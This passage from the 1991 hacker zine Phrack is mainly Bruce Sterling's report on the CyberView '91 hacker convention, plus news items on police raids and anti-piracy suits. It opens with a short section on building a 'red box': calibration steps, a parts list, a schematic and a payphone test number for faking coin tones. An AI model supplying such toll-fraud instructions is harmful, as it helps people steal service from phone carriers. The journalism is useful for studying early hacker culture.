Leave the selector switch in the "N" position. Adjust the 50K pot labeled "Nickel" for a single beep each time the deposit pushbutton is pressed. Next set the coin selector switch to "Dime". Adjust the 50k pot labelled "Dime" for a quick double beep each time the pushbutton is pressed. Finally, set the selector to "Quarter". Adjust the 50k pot labelled "Quarter" until exactly 5 very quick beeps are heard for each button press. Don't worry if the quarter beeps sound shorter and faster than the nickel and dime ones. They should be.

::Conclusion::

If all went well to this point, your red box should be completely aligned and functional. A final test should now be conducted from a payphone using the DATL (Dial Access Test Line) coin test. Dial 09591230 and follow the computer instructions using the red box at the proper prompts. The computer should correctly identify all coins "simulated" and flag any anomalies. With a little discretion, your red box should bring you many years of use. Remember, there is no such thing as spare change!

::Parts list for Red Box::

2 556 Dual Timer IC's 8 0.01uF Caps

1 741 Op Amp IC 2 0.1uF Cap

2 1N914 Diodes 1 1.0uF Electrolytic Cap

5 10k Resistors 2 10uF Electrolytic Caps

1 4.7k Resistor 1 3 Position Rotary Switch

2 100k Resistors 1 SPST Toggle Switch

1 100k PC Mount Pots 1 Momentary Push Button Switch (n/o) 3 50k PC Mount Pot 1 9v Battery Clip

1 10k PC Mount Pot 2 14 Pin Dip Socket

2 50k Multi‑Turn Pots 1 8 Pin Dip Socket

::Schematic::

_

+9__S1/ _____________________________________

| | | S3 |

R1 R2 | R3 o @ o |

|___C1___| _____| |_________|/__o \___ |

| ____|_____|_____|____

_| o | 6 4 14 | R4 R5 D1 | | R9< |

S2 | o _|5 13|_____| | | |__ | |

| | | | g | _| | |

g |_|10 IC1 8|_ _| | R8< | |

| 556 | |__R6< |__ | | |

_|9 12|_| _| | | |

| | | |__C2__g R7< | | |

| |_11___3___7___2___1__| | | | |

| | | | |___|________

| | C3 | |

|__|/| | | C4 |

| |\ | | |

| D2 g g g |

|_____________________

| | |

___ R10 | R11 ___ |

v | | | | | v |

__R12 |__| ___|___ |__| R13__ |

| _|___|___|___|____|_

| | 1 4 14 10 13 | | |

| | |

|_______|6 8|_______| |

| | | IC2 | | |

C5 |__|2 556 12|__| C6 |

| | |

g __|3 11|__ g |

| |_____7___5___9______| |

C7 | | | C8 |

| | C9 C10 |

| | |___| |

g g | g |

|

| __

| |

| R14 |

| |

| |

|___________|__3 \|

| | 7 \

C11 R15 |IC3 \

| | 741 6/___

g g | 4 / |

g_[speaker]___C12______|2 / | |

g |

::Schematic Parts Code::

R1:10K R4:10K R7:50K pot R10:10K R13:50K pot R2:10K R5:10K R8:50K pot R11:10K R14:100K R3:4.7K R6:100K pot R9:50K pot R12:50K pot R15:100K

C1:0.01uf C4:10uf C7:0.01uf C10:0.01uf C2:1.00uf C5:0.01uf C8:0.01uf C11:0.10uf D1 :1N914 C3:0.01uf C6:0.01uf C9:0.01uf C12:10uf D2 :1N914

S1 ‑ SPST toggle

S2 ‑ Momentary push button Normally Open

S3 ‑ 3‑position rotary switch g ‑ Ground

Phrack World News Special Edition IV (CyberView 91)

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 10 of 13

PWN ^*^ PWN ^*^ PWN { CyberView '91 } PWN ^*^ PWN ^*^ PWN

^*^

PWN P h r a c k W o r l d N e w s PWN

^*^ ~~~~~~~~~~~ ~~~

PWN Special Edition Issue Four PWN

^*^

PWN "The Hackers Who Came In From The Cold" PWN

^*^

PWN June 21‑23, 1991 PWN

^*^

PWN Written by Bruce Sterling PWN

^*^

PWN ^*^ PWN ^*^ PWN { CyberView '91 } PWN ^*^ PWN ^*^ PWN

The Hackers Who Came In From The Cold

~~~~~~~~~~~~~~~~~~~

"Millionaries and vandals met at the computer‑underground convention to discuss free information. What they found was free love."

by Bruce Sterling : bruces @ well.sf.ca.us

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

** A slightly shorter version of this article appears in Details Magazine (October 1991, pages 94‑97, 134). The Details article includes photographs of Knight Lightning, Erik Bloodaxe, Mitch Kapor, and Doc Holiday.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

They called it "CyberView '91." Actually, it was another "SummerCon" ‑the traditional summer gathering of the American hacker underground. The organizer, 21 year old "Knight Lightning," had recently beaten a Computer Fraud and Abuse rap that might have put him in jail for thirty years. A little discretion seemed in order.

The convention hotel, a seedy but accommodating motor‑inn outside the airport in St Louis, had hosted SummerCons before. Changing the name had been a good idea. If the staff were alert, and actually recognized that these were the same kids back again, things might get hairy.

The SummerCon '88 hotel was definitely out of bounds. The US Secret Service had set up shop in an informant's room that year, and videotaped the drunken antics of the now globally notorious "Legion of Doom" through a one‑way mirror. The running of SummerCon '88 had constituted a major count of criminal conspiracy against young Knight Lightning, during his 1990 federal trial.

That hotel inspired sour memories. Besides, people already got plenty nervous playing "hunt the fed" at SummerCon gigs. SummerCons generally featured at least one active federal informant. Hackers and phone phreaks like to talk a lot. They talk about phones and computers ‑‑ and about each other.

For insiders, the world of computer hacking is a lot like Mexico. There's no middle class. There's a million little kids screwing around with their modems, trying to snitch long‑distance phone‑codes, trying to swipe pirated software ‑‑ the "kodez kidz" and "warez doodz." They're peons, "rodents." Then there's a few earnest wannabes, up‑and‑comers, pupils. Not many. Less of 'em every year, lately.

And then there's the heavy dudes. The players. The Legion of Doom are definitely heavy. Germany's Chaos Computer Club are very heavy, and already back out on parole after their dire flirtation with the KGB. The Masters of Destruction in New York are a pain in the ass to their rivals in the underground, but ya gotta admit they are heavy. MoD's "Phiber Optik" has almost completed his public‑service sentence, too... "Phoenix" and his crowd down in Australia used to be heavy, but nobody's heard much out of "Nom" and "Electron" since the Australian heat came down on them.

The people in Holland are very active, but somehow the Dutch hackers don't quite qualify as "heavy." Probably because computer‑hacking is legal in Holland, and therefore nobody ever gets busted for it. The Dutch lack the proper bad attitude, somehow.

America's answer to the Dutch menace began arriving in a steady confusion of airport shuttle buses and college‑kid decaying junkers. A software pirate, one of the more prosperous attendees, flaunted a radar‑detecting black muscle‑car. In some dim era before the jet age, this section of St Louis had been a mellow, fertile Samuel Clemens landscape. Waist‑high summer weeds still flourished beside the four‑lane highway and the airport feeder roads.

The graceless CyberView hotel had been slammed down onto this landscape as if dropped from a B‑52. A small office‑tower loomed in one corner beside a large parking garage. The rest was a rambling mess of long, narrow, dimly lit corridors, with a small swimming pool, a glass‑fronted souvenir shop and a cheerless dining room. The hotel was clean enough, and the staff, despite provocation, proved adept at minding their own business. For their part, the hackers seemed quite fond of the place.

The term "hacker" has had a spotted history. Real "hackers," traditional "hackers," like to write software programs. They like to "grind code," plunging into its densest abstractions until the world outside the computer terminal bleaches away. Hackers tend to be portly white techies with thick fuzzy beards who talk entirely in jargon, stare into space a lot, and laugh briefly for no apparent reason. The CyberView crowd, though they call themselves "hackers," are better identified as computer intruders. They don't look, talk or act like 60s M.I.T.‑style hackers.

Computer intruders of the 90s aren't stone pocket‑protector techies. They're young white suburban males, and look harmless enough, but sneaky. They're much the kind of kid you might find skinny‑dipping at 2AM in a backyard suburban swimming pool. The kind of kid who would freeze in the glare of the homeowner's flashlight, then frantically grab his pants and leap over the fence, leaving behind a half‑empty bottle of tequila, a Metallica T‑shirt, and, probably, his wallet.

One might wonder why, in the second decade of the personal‑computer revolution, most computer intruders are still suburban teenage white whiz‑kids. Hacking‑as‑computer‑intrusion has been around long enough to have bred an entire generation of serious, heavy‑duty adult computer‑criminals. Basically, this simply hasn't occurred. Almost all computer intruders simply quit after age 22. They get bored with it, frankly. Sneaking around in other people's swimming pools simply loses its appeal. They get out of school. They get married. They buy their own swimming pools. They have to find some replica of a real life.

The Legion of Doom ‑‑ or rather, the Texas wing of LoD ‑‑ had hit Saint Louis in high style, this weekend of June 22. The Legion of Doom has been characterized as "a high‑tech street gang" by the Secret Service, but this is surely one of the leakiest, goofiest and best‑publicized criminal conspiracies in American history.

Not much has been heard from Legion founder "Lex Luthor" in recent years. The Legion's Atlanta wing; "Prophet," "Leftist," and "Urvile," are just now getting out of various prisons and into Georgia halfway‑houses. "Mentor" got married and writes science fiction games for a living.

But "Erik Bloodaxe," "Doc Holiday," and "Malefactor" were here ‑‑ in person, and in the current issues of TIME and NEWSWEEK. CyberView offered a swell opportunity for the Texan Doomsters to announce the formation of their latest high‑tech, uhm, organization, "Comsec Data Security Corporation."

Comsec boasts a corporate office in Houston, and a marketing analyst, and a full‑scale corporate computer‑auditing program. The Legion boys are now digital guns for hire. If you're a well‑heeled company, and you can cough up per diem and air‑fare, the most notorious computer‑hackers in America will show right up on your doorstep and put your digital house in order ‑‑ guaranteed.

Bloodaxe, a limber, strikingly handsome young Texan with shoulder‑length blond hair, mirrored sunglasses, a tie, and a formidable gift of gab, did the talking. Before some thirty of his former peers, gathered upstairs over styrofoam coffee and canned Coke in the hotel's Mark Twain Suite, Bloodaxe sternly announced some home truths of modern computer security.

Most so‑called "computer security experts" ‑‑ (Comsec's competitors) ‑are overpriced con artists! They charge gullible corporations thousands of dollars a day, just to advise that management lock its doors at night and use paper shredders. Comsec Corp, on the other hand (with occasional consultant work from Messrs. "Pain Hertz" and "Prime Suspect") boasts America's most formidable pool of genuine expertise at actually breaking into computers.

Comsec, Bloodaxe continued smoothly, was not in the business of turning‑in any former hacking compatriots. Just in case anybody here was, you know, worrying... On the other hand, any fool rash enough to challenge a Comsec‑secured system had better be prepared for a serious hacker‑to‑hacker dust‑up.

"Why would any company trust you?" someone asked languidly.

Malefactor, a muscular young Texan with close‑cropped hair and the build of a linebacker, pointed out that, once hired, Comsec would be allowed inside the employer's computer system, and would have no reason at all to "break in." Besides, Comsec agents were to be licensed and bonded.

Bloodaxe insisted passionately that LoD were through with hacking for good. There was simply no future in it. The time had come for LoD to move on, and corporate consultation was their new frontier. (The career options of committed computer intruders are, when you come right down to it, remarkably slim.) "We don't want to be flippin' burgers or sellin' life insurance when we're thirty," Bloodaxe drawled. "And wonderin' when Tim Foley is gonna come kickin' in the door!" (Special Agent Timothy M. Foley of the US Secret Service has fully earned his reputation as the most formidable anti‑hacker cop in America.)

Bloodaxe sighed wistfully. "When I look back at my life... I can see I've essentially been in school for eleven years, teaching myself to be a computer security consultant."

After a bit more grilling, Bloodaxe finally got to the core of matters. Did anybody here hate them now? he asked, almost timidly. Did people think the Legion had sold out? Nobody offered this opinion. The hackers shook their heads, they looked down at their sneakers, they had another slug of Coke. They didn't seem to see how it would make much difference, really. Not at this point.

Over half the attendees of CyberView publicly claimed to be out of the hacking game now. At least one hacker present ‑‑ (who had shown up, for some reason known only to himself, wearing a blond wig and a dime‑store tiara, and was now catching flung Cheetos in his styrofoam cup) ‑‑ already made his living "consulting" for private investigators.

Almost everybody at CyberView had been busted, had their computers seized, or, had, at least, been interrogated ‑‑ and when federal police put the squeeze on a teenage hacker, he generally spills his guts.

By '87, a mere year or so after they plunged seriously into anti‑hacker OBenforcement, the Secret Service had workable dossiers on everybody that really

mattered. By '89, they had files on practically every last soul in the American digital underground. The problem for law enforcement has never been finding out who the hackers are. The problem has been figuring out what the hell they're really up to, and, harder yet, trying to convince the public that it's actually important and dangerous to public safety.

From the point of view of hackers, the cops have been acting wacky lately. The cops, and their patrons in the telephone companies, just don't understand the modern world of computers, and they're scared. "They think there are masterminds running spy‑rings who employ us," a hacker told me. "They don't understand that we don't do this for money, we do it for power and knowledge." Telephone security people who reach out to the underground are accused of divided loyalties and fired by panicked employers. A young Missourian coolly psychoanalyzed the opposition. "They're overdependent on things they don't understand. They've surrendered their lives to computers."

"Power and knowledge" may seem odd motivations. "Money" is a lot easier to understand. There are growing armies of professional thieves who rip‑off phone service for money. Hackers, though, are into, well, power and knowledge. This has made them easier to catch than the street‑hustlers who steal access codes at airports. It also makes them a lot scarier.

Take the increasingly dicey problems posed by "Bulletin Board Systems." "Boards" are home computers tied to home telephone lines, that can store and transmit data over the phone ‑‑ written texts, software programs, computer games, electronic mail. Boards were invented in the late 70s, and, while the vast majority of boards are utterly harmless, some few piratical boards swiftly became the very backbone of the 80s digital underground. Over half the attendees of CyberView ran their own boards. "Knight Lightning" had run an electronic magazine, "Phrack," that appeared on many underground boards across America.

Boards are mysterious. Boards are conspiratorial. Boards have been accused of harboring: Satanists, anarchists, thieves, child pornographers, Aryan nazis, religious cultists, drug dealers ‑‑ and, of course, software pirates, phone phreaks, and hackers. Underground hacker boards were scarcely reassuring, since they often sported terrifying sci‑fi heavy‑metal names, like "Speed Demon Elite," "Demon Roach Underground," and "Black Ice." (Modern hacker boards tend to feature defiant titles like "Uncensored BBS," "Free Speech," and "Fifth Amendment.")

Underground boards carry stuff as vile and scary as, say, 60s‑era underground newspapers ‑‑ from the time when Yippies hit Chicago and ROLLING STONE gave away free roach‑clips to subscribers. "Anarchy files" are popular features on outlaw boards, detailing how to build pipe‑bombs, how to make Molotovs, how to brew methedrine and LSD, how to break and enter buildings, how to blow up bridges, the easiest ways to kill someone with a single blow of a blunt object ‑‑ and these boards bug straight people a lot. Never mind that all this data is publicly available in public libraries where it is protected by the First Amendment. There is something about its being on a computer ‑where any teenage geek with a modem and keyboard can read it, and print it out, and spread it around, free as air ‑‑ there is something about that, that is creepy.

"Brad" is a New Age pagan from Saint Louis who runs a service known as "WEIRDBASE," available on an international network of boards called "FidoNet." Brad was mired in an interminable scandal when his readers formed a spontaneous underground railroad to help a New Age warlock smuggle his teenage daughter out of Texas, away from his fundamentalist Christian in‑laws, who were utterly convinced that he had murdered his wife and intended to sacrifice his daughter to ‑‑ Satan! The scandal made local TV in Saint Louis. Cops came around and grilled Brad. The patchouli stench of Aleister Crowley hung heavy in the air. There was just no end to the hassle.

If you're into something goofy and dubious and you have a board about it, it can mean real trouble. Science‑fiction game publisher Steve Jackson had his board seized in 1990. Some cryogenics people in California, who froze a woman for post‑mortem preservation before she was officially, er, "dead," had their computers seized. People who sell dope‑growing equipment have had their computers seized. In 1990, boards all over America went down: Illuminati, CLLI Code, Phoenix Project, Dr. Ripco. Computers are seized as "evidence," but since they can be kept indefinitely for study by police, this veers close to confiscation and punishment without trial. One good reason why Mitchell Kapor showed up at CyberView.

Mitch Kapor was the co‑inventor of the mega‑selling business program LOTUS 1‑2‑3 and the founder of the software giant, Lotus Development Corporation. He is currently the president of a newly‑formed electronic civil liberties group, the Electronic Frontier Foundation. Kapor, now 40, customarily wears Hawaiian shirts and is your typical post‑hippie cybernetic multimillionaire. He and EFF's chief legal counsel, "Johnny Mnemonic," had flown in for the gig in Kapor's private jet.

Kapor had been dragged willy‑nilly into the toils of the digital underground when he received an unsolicited floppy‑disk in the mail, from an outlaw group known as the "NuPrometheus League." These rascals (still not apprehended) had stolen confidential proprietary software from Apple Computer, Inc., and were distributing it far and wide in order to blow Apple's trade secrets and humiliate the company. Kapor assumed that the disk was a joke, or, more likely, a clever scheme to infect his machines with a computer virus.

But when the FBI showed up, at Apple's behest, Kapor was shocked at the extent of their naivete. Here were these well‑dressed federal officials, politely "Mr. Kapor"‑ ing him right and left, ready to carry out a war to the knife against evil marauding "hackers." They didn't seem to grasp that "hackers" had built the entire personal computer industry. Jobs was a hacker, Wozniak too, even Bill Gates, the youngest billionaire in the history of America ‑‑ all "hackers." The new buttoned‑down regime at Apple had blown its top, and as for the feds, they were willing, but clueless. Well, let's be charitable ‑‑ the feds were "cluefully challenged." "Clue‑impaired." "Differently clued...."

Back in the 70s (as Kapor recited to the hushed and respectful young hackers) he himself had practiced "software piracy" ‑‑ as those activities would be known today. Of course, back then, "computer software" hadn't been a major industry ‑‑ but today, "hackers" had police after them for doing things that the industry's own pioneers had pulled routinely. Kapor was irate about this. His own personal history, the lifestyle of his pioneering youth, was being smugly written out of the historical record by the latter‑day corporate androids. Why, nowadays, people even blanched when Kapor forthrightly declared that he'd done LSD in the Sixties.

Quite a few of the younger hackers grew alarmed at this admission of Kapor's, and gazed at him in wonder, as if expecting him to explode.

"The law only has sledgehammers, when what we need are parking tickets and speeding tickets," Kapor said. Anti‑hacker hysteria had gripped the nation in 1990. Huge law enforcement efforts had been mounted against illusory threats. In Washington DC, on the very day when the formation of the Electronic Frontier Foundation had been announced, a Congressional committee had been formally presented with the plotline of a thriller movie ‑‑ DIE HARD II, in which hacker terrorists seize an airport computer ‑‑ as if this Hollywood fantasy posed a clear and present danger to the American republic. A similar hacker thriller, WAR GAMES, had been presented to Congress in the mid‑80s. Hysteria served no one's purposes, and created a stampede of foolish and unenforceable laws likely to do more harm than good.

Kapor didn't want to "paper over the differences" between his Foundation and the underground community. In the firm opinion of EFF, intruding into computers by stealth was morally wrong. Like stealing phone service, it deserved punishment. Not draconian ruthlessness, though. Not the ruination of a youngster's entire life.

After a lively and quite serious discussion of digital free‑speech issues, the entire crew went to dinner at an Italian eatery in the local mall, on Kapor's capacious charge‑tab. Having said his piece and listened with care, Kapor began glancing at his watch. Back in Boston, his six‑year‑old son was waiting at home, with a new Macintosh computer‑game to tackle. A quick phone‑call got the jet warmed up, and Kapor and his lawyer split town.

With the forces of conventionality ‑‑ such as they were ‑‑ out of the picture, the Legion of Doom began to get heavily into "Mexican Flags." A Mexican Flag is a lethal, multi‑layer concoction of red grenadine, white tequila and green creme‑de‑menthe. It is topped with a thin layer of 150 proof rum, set afire, and sucked up through straws.

The formal fire‑and‑straw ritual soon went by the board as things began to disintegrate. Wandering from room to room, the crowd became howlingly rowdy, though without creating trouble, as the CyberView crowd had wisely taken over an entire wing of the hotel.

"Crimson Death," a cheerful, baby‑faced young hardware expert with a pierced nose and three earrings, attempted to hack the hotel's private phone system, but only succeeded in cutting off phone service to his own room.

Somebody announced there was a cop guarding the next wing of the hotel. Mild panic ensued. Drunken hackers crowded to the window.

A gentleman slipped quietly through the door of the next wing wearing a short terrycloth bathrobe and spangled silk boxer shorts.

Spouse‑swappers had taken over the neighboring wing of the hotel, and were holding a private weekend orgy. It was a St Louis swingers' group. It turned out that the cop guarding the entrance way was an off‑duty swinging cop. He'd angrily threatened to clobber Doc Holiday. Another swinger almost punched‑out "Bill from RNOC," whose prurient hacker curiosity, naturally, knew no bounds.

It was not much of a contest. As the weekend wore on and the booze flowed freely, the hackers slowly but thoroughly infiltrated the hapless swingers, who proved surprisingly open and tolerant. At one point, they even invited a group of hackers to join in their revels, though "they had to bring their own women."

Despite the pulverizing effects of numerous Mexican Flags, Comsec Data Security seemed to be having very little trouble on that score. They'd vanished downtown brandishing their full‑color photo in TIME magazine, and returned with an impressive depth‑core sample of St Louis womanhood, one of whom, in an idle moment, broke into Doc Holiday's room, emptied his wallet, and stole his Sony tape recorder and all his shirts.

Events stopped dead for the season's final episode of STAR TREK: THE NEXT GENERATION. The show passed in rapt attention ‑‑ then it was back to harassing the swingers. Bill from RNOC cunningly out‑waited the swinger guards, infiltrated the building, and decorated all the closed doors with globs of mustard from a pump‑bottle.

In the hungover glare of Sunday morning, a hacker proudly showed me a large handlettered placard reading PRIVATE ‑‑ STOP, which he had stolen from the unlucky swingers on his way out of their wing. Somehow, he had managed to work his way into the building, and had suavely ingratiated himself into a bedroom, where he had engaged a swinging airline ticket‑agent in a long and most informative conversation about the security of airport computer terminals. The ticket agent's wife, at the time, was sprawled on the bed engaging in desultory oral sex with a third gentleman. It transpired that she herself did a lot of work on LOTUS 1‑2‑3. She was thrilled to hear that the program's inventor, Mitch Kapor, had been in that very hotel, that very weekend.

Mitch Kapor. Right over there? Here in St Louis? Wow.

Isn't life strange.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

CyberView '91 Guest List

~~~~~~~~~~~~~

Those known best by handles: Those not:

Bill From RNOC / Circuit / The Conflict / Dead Lord Dorothy Denning Dispater / Doc Holiday / Dr. Williams / Cheap Shades Michael Godwin Crimson Death / Erik Bloodaxe / Forest Ranger / Gomez Brad Hicks Jester Sluggo / J.R. "Bob" Dobbs / Knight Lightning Mitch Kapor Malefactor / Mr. Fido / Ninja Master / Pain Hertz Bruce Sterling Phantom Phreaker / Predat0r / Psychotic Surfer of C&P

Racer X / Rambone / The Renegade / Seth 2600 / Taran King

Tuc <Tuc gets his own line just because he is cool!>

PWN/Part01

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 11 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXIII / Part One PWN

PWN PWN

PWN Compiled by Crimson Death PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Sir Hackalot Raided By Georgia State Police

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"They were pretty pissed because they didn't find anything on me."

Those were Sir Hackalot's remarks to Crimson Death shortly after his run in with the authorities. Sir Hackalot was raided by Georgia State Police in connection with Computer Fraud. The odd thing about it is that Sir Hackalot has been inactive for over a year and no real evidence was shown against him. They just came in and took his equipment. Although Sir Hackalot was not not arrested, he was questioned about three other locals bbs users who later found themselves receiving a visit the same day. Sir Hackalot is currently waiting for his equipment to be returned.

Could this recent raid have anything to do with the infamous seizure of Jolnet Public Access Unix from Lockport, Illinois in connection with the Phrack E911 case? Sir Hackalot was a user on the system and in the mindset of today's law enforcement community, that may well be enough for them to justify their recent incursion of SH's civil rights.

________________________________________

Square Deal for Cable Pirates

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by David Hartshorn

National Programming Service has signed an agreement with 12 programmers representing 18 channel for an early conversion package for consumers with illegally modified VideoCipher II modules. The deal will be offered only to customers who convert their modified VideoCipher II modules to VC II Plus Consumer Security Protection Program (CSPP) modules. The program will be an option to NPS' current five‑service minimum purchase required for conversion customers.

Participating programmers have agreed to offer complimentary programming through the end of 1991 for conversion customers. To qualify, customers must buy an annual subscription which will start on January 1, 1992 and run though December 31, 1992. Any additional programming customers want to buy will start on the day they convert and will run for 12 consecutive months.

NPS president Mike Schroeder said the objective of the program is to get people paying legally for programming from the ranks of those who are not. If a customer keeps his modified unit, he will be spending at least $600 for a new module in late 1992, plus programming, when he will be forced to convert due to a loss of audio in his modified unit. If a customer converts now to a VC II Plus with MOM (Videopal), then the net effective cost to the customer will be only $289.55 (figuring a $105 programming credit from Videopal and about $90 complimentary programming).

Included in the deal are ABC, A&E, Bravo, CBS, Discovery Channel, Family Channel, NBC, Lifetime, Prime Network, PrimeTime 24, TNN, USA Network, WPIX, WSBK, and WWOR. The package will retail for $179.99.

Details: (800)444‑3474

________________________________________

Clark Development Systems Gets Tough

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Crimson Death (Sysop of Free Speech BBS)

Most of you have heard of PC‑Board BBS software, but what you may not have heard is what Clark Development Systems are trying to do with people running illegal copies of his software. The Following messages appeared on Salt Air BBS, which is the support BBS for PC‑Board registered owners.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Date: 08‑19‑91 (11:21) Number: 88016 of 88042

To: ALL Refer#: NONE

>From: FRED CLARK Read: HAS REPLIES

Subj: WARNING Status: PUBLIC MESSAGE

Conf: SUPPORT (1) Read Type: GENERAL (A) (+)

********************************** WARNING **********************************

Due to the extent and nature of a number of pirate PCBoard systems which have been identified around the US and Canada, we are now working closely with several other software manufacturers through the SPA (Software Publisher's Association) in order to prosecute these people. Rather than attempting to prosecute them solely through our office and attorney here in Salt Lake, we will now be taking advantage of the extensive legal resources of the SPA to investigate and shut down these systems. Since a single copyright violation will be prosecuted to the full extent of $50,000 per infringement, a number of these pirates are in for a big surprise when the FBI comes knocking on their door. Please note that the SPA works closely with the FBI in the prosecution of these individuals since their crimes are involved with trafficking over state lines.

The SPA is now working closely with us and the information we have concerning the illegal distribution of our and other software publisher's wares. Please do not allow yourself to become involved with these people as you may also be brought into any suits and judgements won against them.

We are providing this information as reference only and are not pointing a finger at any one specific person or persons who are accessing this system. This message may be freely distributed.

Fred Clark

President

Clark Development Company, Inc.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Date: 08‑19‑91 (08:28) Number: 47213 of 47308

To: AL LAWRENCE Refer#: NONE

>From: DAVID TERRY Read: NO

Subj: BETA CODE IS NOW OFFLINE Status: RECEIVER ONLY

PLEASE NOTE! (This message is addressed to ALL!)

The beta code is now offline and may be offline for a couple of days. After finding a program which cracks PCBoard's registration code I have taken the beta code offline so that I can finish up work on the other routines I've been working on which will not be cracked so easily. I'm sorry if the removal inconveniences anyone. However, it's quite obvious that SOMEONE HERE leaked the beta code to a hacker otherwise the hacker could not have worked on breaking the registration code.

I'm sorry that the few inconsiderates have to make life difficult for the rest of you (and us). If that's the way the game is played, so be it.

P.S. ‑‑ We've found a couple of large pirate boards (who we have not notified) who should expect to see the FBI show up on their doorstep in the not too distant future. Pass the word along. If people want to play rough then we'll up the ante a bit ... getting out of jail won't be cheap!

‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑

Seems to me they are trying to scare everyone. I think the FBI has better things to do than go around catching System Operators who didn't purchase PC‑Board. At least I hope they do. First they put in a key that was needed to run the beta version of PCB and you could only get it by typing REGISTER on Salt Air, it would then encrypt your name and give you the key so you could register you beta. Expiration date were also implemented into the beta code of 14.5a, but the first day this was released on Salt Air, pirates already designed a program to make your own key with any name you wanted. It appears that with this "new" technique that Clark Systems are trying failed too. As it is cracked already also. Maybe they should be more concerned on how PC‑Board functions as a BBS rather than how to make it crack‑proof. As most pirate system don't run PC‑Board anyway!

________________________________________

Georgia's New Area Code

~~~~~~~~~~~~~~~~~~~~~~~

Telephone use in Georgia has increased so rapidly ‑‑ caused by increased population and the use of services like fax machines and mobile telephones that they are running out of telephone numbers.

Southern <Fascist> Bell will establish a new area code ‑‑ 706 ‑‑ in Georgia in May 1992. The territory currently designated by the 404 area code will be split.

Customers in the Atlanta Metropolitan local calling area will continue to use the 404 area code. Customers outside the Atlanta Metropolitan toll free calling area will use the 706 area code. The 912 area code (South Georgia) will not be affected by this change.

They realize the transition to a new area code will take some getting used to. So, between May 3, 1992 and August 2, 1992, you can dial EITHER 706 or 404 to reach numbers in the new area. After August 2, 1992, the use of the 706 area code is required.

They announced the the new area code far in advance to allow customers to plan for the change.

________________________________________

Unplug July 20, 1991

~~~~~~

>From AT&T Newsbriefs (and contributing sources; the San Francisco Chronicle (7/20/91, A5) and the Dallas Times Herald (7/20/91, A20)

A prankster who intercepted and rerouted confidential telephone messages from voice mail machines in City Hall <of Houston, Texas> prompted officials to pull the plug on the phone system. The city purchased the high‑tech telephone system in 1986 for $28 million. But officials forget to require each worker to use a password that allows only that worker to retrieve or transfer voice messages from their "phone mailboxes," said AT&T spokesman Virgil Wildey. As a result, Wildey said, someone who understands the system can transfer messages around, creating chaos.

________________________________________

The Bust For Red October

~~~~~~~~~~~~~~~~~~~~~~~~

By Stickman, Luis Cipher, Orion, Haywire, Sledge, and Kafka Kierkegaard

At 8:00 AM on August 7, 1991 in Walnut Creek, California the house of Steven Merenko, alias Captain Ramius, was raided by Novell attorneys occompanied by five federal marshals. All of his computer equipment was confiscated by the Novell attorneys; including disks, tape backups, and all hardware.

Novell officials had filed an affidavit in the United States District Court for the Northern District of California. They charge Merenko had illegally distributing Novell NetWare files.

A Novell investigator logged on to Merenko's BBS as a regular user 11 times over a period of a several months. He uploaded a piece of commercial software from another company, with the company's permission, in order to gain credibility and eventually download a file part of Novell NetWare 386 v3.11, which with a full‑blown installation costs more than $10,000.

Novell issued a Civil suit against The Red October BBS, and because of that Merenko will not go to jail if he is found guilty of letting other people download any copyrighted or commercial software. The maximum penalty in a civil case as this one is $100,000 per work infringed.

The Red October BBS was THG/TSAN/NapE Site with four nodes, 4 gigabytes of hard drive space online and had been running for four years.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Novell's Anti‑Piracy Rampage

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Novell's raid on the Red October BBS on August 7, 1991 is the latest in a two‑year ongoing anti‑piracy venture. In the same week as the Red October bust, the original Wishlist BBS in Redondo Beach, California was also raided. Last April (1991), Novell sued seven resellers in five states that were accused of illegally selling NetWare. In the fall of last year they seized the computer equipment of two men in Tennessee accused of reselling NetWare over BBSs. According to David Bradford, senior vice president and general counsel at Novell and chairman of the Copyright Protection Fund of the Software Publisher's Association, the crackdown on software piracy has paid off.

________________________________________

Lottery May Use Nintendo As Another Way To Play September 1, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Minneapolis Star Tribune (Section B)

"Several kinks have yet to be worked out."

Minnesota gamblers soon could be winning jackpots as early as 1993 from the comfort of their own living rooms. The state will begin testing a new system next summer that will allow gamblers to pick numbers and buy tickets at home by using a Nintendo control deck. The system, to be created by the state and Control Data Corporation, would be somewhat similar to banking with an automated teller machine card. Gamblers would use a Nintendo control deck and a state lottery cartridge. The cartridge would be connected by phone to the lottery's computer system, allowing players to pick Lotto America, Daily 3 and Gopher 5 numbers, and play the instant cash games. Players would gain access to the system by punching in personal security codes or passwords. Incorrect passwords would be rejected. Only adults would be allowed to play.

A number of kinks, including setting up a pay‑in‑advance system for players to draw on, computer security and adult registration, must be worked out. 32% of Minnesota households have Nintendo units. About half of those who use the units are older than 18. Those chosen to participate in the summer experiment will be given a Nintendo control deck, phone modem and lottery cartridge.

________________________________________

15,000 Cuckoo Letters September 8, 1991

~~~~~~~~~~~~~~~~~~~~~

Reprinted from RISKS Digest

>From: Cliff Stoll

